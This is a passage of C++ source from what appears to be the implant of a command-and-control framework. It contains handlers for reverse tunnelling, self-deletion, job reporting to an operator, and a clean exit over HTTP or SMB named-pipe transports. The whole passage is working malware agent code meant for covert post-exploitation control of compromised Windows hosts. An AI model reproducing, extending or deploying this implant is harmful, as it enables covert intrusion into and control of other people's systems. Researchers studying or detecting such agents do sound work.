Self->Pkg->Int64( Package, COMMAND_TUNNEL_REVERSE );
Self->Pkg->Int16( Package, result );
return KhRetSuccess;
}
auto DECLFN Task::SelfDel(
_In_ JOBS* Job
) -> ERROR_CODE {
Self->Pkg->Int32( Job->Pkg, Self->Usf->SelfDelete() );
return KhGetError;
}
auto DECLFN Task::Jobs(
_In_ JOBS* Job
) -> ERROR_CODE {
auto Package = Job->Pkg;
auto Parser = Job->Psr;
Action::Job JobSubId = (Action::Job)Self->Psr->Int32( Parser );
switch ( JobSubId ) {
case Action::Job::List: {
JOBS* Current = Self->Jbs->List;
Self->Pkg->Int32( Package, Self->Jbs->Count );
while ( Current ) {
Self->Pkg->Str( Package, Current->UUID );
Self->Pkg->Int32( Package, Current->CmdID );
Self->Pkg->Int32( Package, Current->State );
Current = Current->Next;
}
}
case Action::Job::Remove: {
// todo
}
}
return KhRetSuccess;
}
auto DECLFN Task::Exit(
_In_ JOBS* Job
) -> ERROR_CODE {
Action::Exit ExitType = (Action::Exit)Self->Psr->Byte( Job->Psr );
Job->State = KH_JOB_READY_SEND;
Job->ExitCode = EXIT_SUCCESS;
// For SMB: skip manual Send — FinalRoutine handles the final Send.
// This avoids any timing issues during exit.
if ( ! Self->Tsp->Pipe.Name ) {
Self->Jbs->Send( Self->Jbs->PostJobs );
}
if ( ExitType == Action::Exit::Proc ) {
Self->Ntdll.RtlExitUserProcess( EXIT_SUCCESS );
} else if ( ExitType == Action::Exit::Thread ) {
Self->Ntdll.RtlExitUserThread( EXIT_SUCCESS );
}
return KhRetSuccess;
}